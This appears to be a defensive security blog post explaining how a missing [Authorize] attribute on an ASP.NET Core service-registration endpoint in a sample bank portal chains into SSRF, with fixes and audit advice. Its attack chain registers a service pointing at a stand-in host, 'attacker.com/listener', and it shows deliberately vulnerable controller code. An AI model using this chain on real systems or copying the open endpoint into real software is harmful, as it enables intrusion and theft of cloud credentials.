Author: SokeBiz Reading time: ~7 minutes Series: Lessons From the Field #2
TL;DR
An API endpoint that lets any visitor create new records in your database is a critical vulnerability, even if it looks harmless. When combined with a proxy feature, a single missing [Authorize] attribute turns into a full server compromise. This article walks through the simplest, most common authentication bypass I find in production web apps - and the one-line fix that prevents it.
The Hook
In the last article, I showed you how SSRF works. The proxy endpoint accepted a service name, looked up the service's URL in the database, and forwarded the request to that URL.
The natural follow-up question is: how did the attacker get to control what was in the database in the first place?
Answer: the registration endpoint was open to the entire internet.
The endpoint was supposed to be an admin-only operation. Add a new service, the system stores it, the proxy uses it. Standard CRUD. But the developer forgot one thing: putting a lock on the door.
There was no [Authorize] attribute. No login check. No role check. Just an open HTTP endpoint that accepted a JSON body and wrote it to the database.
This is authentication bypass, and in this case it turned a contained bug (the SSRF from article #1) into a remote, unauthenticated, internet-reachable attack chain.
Plain-English Explanation
Think of a hotel front desk. The front desk clerk hands out room keys. To get a key, you have to be a registered guest - checked in, ID verified, name in the system.
Now imagine the front desk clerk accepts a piece of paper with a room number on it, walks to the key cabinet, and gives you the key to that room without checking who you are.
That's what an unauthenticated registration endpoint is. The front desk is your /RegisterService endpoint. The key cabinet is your database. The room number is the service name. And the attacker just walked in off the street and got a key.
The trick - and this is what makes it dangerous - is that the registration endpoint itself often looks innocent. It doesn't return secret data. It doesn't expose admin functionality directly. It just writes a row to the database. So it gets less scrutiny than the endpoints that actually do dangerous things.
But in a system with proxies, role checks, or downstream services that trust the database, an attacker who can write to the database can effectively become an admin.
Why this is so common
- Developers assume internal endpoints are safe. "This is only called by our admin dashboard, we don't need
[Authorize]." - Authorization is added last, often by a different person. The dev who wrote the endpoint focuses on the business logic. The dev who adds auth thinks "I'll add it to the dangerous endpoints first" and skips the registration endpoint because it doesn't look dangerous.
- The vulnerability is invisible until it chains. The unauthenticated endpoint alone might not be exploitable. But when another feature trusts the data, the combination becomes critical.
How It Actually Works (Technical)
Using our synthetic ACME Bank Portal (an ASP.NET Core 6.0 sample app), here's the vulnerable pattern:
The vulnerable pattern
// DashboardServicesController.cs - VULNERABLE
[HttpPost("RegisterService")] // ← no [Authorize] above this line
public ActionResult RegisterService(ServiceModel model)
{
if (!base.ModelState.IsValid) return BadRequest();
var existing = _context.Services.FirstOrDefault(c => c.EndPoint == model.EndPoint);
if (existing != null)
{
return Ok(new {
ResponseMessage = "Service with the same endpoint already exists",
Succeeded = false
});
}
// Store the password "encrypted" with a hardcoded key (separate bug!)
model.Password = Security.EncryptString(model.Password);
_context.Services.Add(model);
_context.SaveChanges();
return Ok(new { Succeeded = true, ResponseMessage = "Successful" });
}
What's wrong?
The [Authorize] attribute is missing. ASP.NET Core's authorization filter is what enforces "you must be logged in to call this endpoint." Without it, the endpoint accepts requests from anyone - authenticated or not.
In the engagement this article is based on, an attacker could call this endpoint with no authentication at all, no JWT token, no cookie. Just a POST request with a JSON body. The server would happily write a new service row to the database with whatever URL, username, and password the attacker chose.
The attack chain
Here's the full kill chain that turned "missing [Authorize]" into a server compromise:
1. Attacker discovers /api/DashboardServices/RegisterService is open
2. Attacker sends POST with no auth header:
{ "EndPoint": "exfil", "BaseUrl": "http://attacker.com/listener", ... }
3. Server writes the malicious service to the database
4. Attacker sends GET /api/DashboardServices/Merchant/exfil
5. Server looks up "exfil" in the database → finds the malicious URL
6. Server makes outbound HTTP request to http://attacker.com/listener
7. Attacker uses this SSRF to read AWS metadata, hit internal services, etc.
The unauthenticated registration is what enabled the SSRF from article #1. Without it, the SSRF is just a dormant bug - the database only has URLs the admin entered, none of which point at attacker-controlled servers.
A common variant: "the dev thought it was admin-only"
This is the most common version I see. The developer thinks:
"This endpoint is only called by the admin dashboard, so I'll skip the
[Authorize]attribute to keep the code simple."
This works until the developer forgets, leaves an old build deployed, or another team member uses the endpoint from a different context. Worse: an attacker who discovers the endpoint can call it directly, bypassing the entire admin dashboard entirely.
Even if the endpoint truly is admin-only and only ever called by admins, defense in depth says to put the [Authorize] attribute anyway. The cost is one line of code. The cost of being wrong is a breach.
What It Looks Like in the Wild
Here's the attack flow, end-to-end, recreated in our synthetic lab:
[ Attacker (unauthenticated) ] [ ACME Bank Portal ] [ Database ]
| | |
| Step 1: Discover endpoint | |
| GET /api/DashboardServices/RegisterService | |
|-------------------------------------------->| |
| 200 OK (no auth required) | |
|<--------------------------------------------| |
| | |
| Step 2: Register malicious service | |
| POST /api/DashboardServices/RegisterService| |
| { EndPoint: "exfil", | |
| BaseUrl: "http://attacker.com/listener" }| |
|-------------------------------------------->| |
| | INSERT INTO Services... |
| |---------------------------->|
| | |
| Step 3: Trigger SSRF (covered in article #1)| |
| GET /api/DashboardServices/Merchant/exfil | |
|-------------------------------------------->| |
| | Look up "exfil" |
| | → BaseUrl = attacker.com |
| | Make outbound request |
|<-------------------------------------------<| |
| | |
| Attacker now has SSRF, cloud creds, etc. | |
| | |
The entire attack, from initial recon to full SSRF, took less than a minute. No authentication was required at any step.
How to Protect Yourself / Your Users
1. Add [Authorize] to every state-changing endpoint
This is the one-line fix. For ASP.NET Core, decorate every controller or action that mutates state:
// DashboardServicesController.cs - FIXED
[Authorize(Roles = "Administrator")] // ← this is the fix
[HttpPost("RegisterService")]
public ActionResult RegisterService(ServiceModel model)
{
// ... rest of the method unchanged
}
For granular control:
[Authorize] // any authenticated user
[HttpPost("RegisterService")]
// vs
[Authorize(Roles = "Administrator,ServiceManager")] // role-based
[HttpPost("RegisterService")]
// vs
[Authorize(Policy = "CanRegisterService")] // policy-based (recommended)
[HttpPost("RegisterService")]
Policy-based is best for non-trivial apps because the rule lives in one place:
// Program.cs
builder.Services.AddAuthorization(options =>
{
options.AddPolicy("CanRegisterService", policy =>
policy.RequireRole("Administrator")
.RequireAuthenticatedUser());
});
2. Audit your entire codebase for missing [Authorize]
Don't trust that it's only on the endpoints you've reviewed. Run a quick grep:
grep -rn "\[HttpPost\|\[HttpPut\|\[HttpDelete\|\[HttpPatch" \
--include="*.cs" | grep -v "\[Authorize"
Any state-changing HTTP verb without an [Authorize] line above it is a candidate for review. Yes, this includes admin endpoints you think are "internal only."
3. Enable a global authorization fallback
ASP.NET Core supports a global filter that requires authentication by default:
// Program.cs
builder.Services.AddControllers(options =>
{
options.Filters.Add(new AuthorizeFilter()); // requires auth by default
});
Then opt-out only for explicitly public endpoints:
[AllowAnonymous]
[HttpPost("public-signup")]
public ActionResult PublicSignup(...)
This flips the safe default. New endpoints are secure-by-default; developers have to think about which endpoints should be public, not which should be private.
4. Don't store the request directly
Even with auth in place, validate what gets stored:
// Validate BaseUrl against an allowlist before saving
if (!IsUrlSafe(model.BaseUrl))
return BadRequest("Invalid service URL");
// Validate EndPoint matches a known pattern
if (!Regex.IsMatch(model.EndPoint, @"^[a-z0-9\-]{3,50}$"))
return BadRequest("Invalid endpoint name");
This prevents a logged-in admin from accidentally registering a malicious service.
5. Log every registration
If someone (legitimate or not) registers a new service, log:
- Who (user ID, IP)
- What (full service definition)
- When (timestamp)
Alert on registrations from unusual sources, outside business hours, or from users who don't normally register services.
6. Rate-limit the endpoint
Even authenticated admin endpoints should be rate-limited. If an attacker has a stolen admin token, rate limiting slows them down and creates alerting opportunities.
Resources & References
- OWASP API Security Top 10 - API1:2023 Broken Object Level Authorization: https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/
- OWASP API Security Top 10 - API5:2023 Broken Function Level Authorization: https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/
- Microsoft Docs - Authorization in ASP.NET Core: https://learn.microsoft.com/en-us/aspnet/core/security/authorization/
- CWE-306: Missing Authentication for Critical Function: https://cwe.mitre.org/data/definitions/306.html
- Previous article: When Your Web App Becomes a Weapon: SSRF
- Next article: Why "Access-Control-Allow-Origin: *" with Credentials Is a Catastrophic Mistake
Next up: the third vulnerability in the chain - CORS misconfiguration that turned "logged-in admin" into "any website on the internet can act as that admin."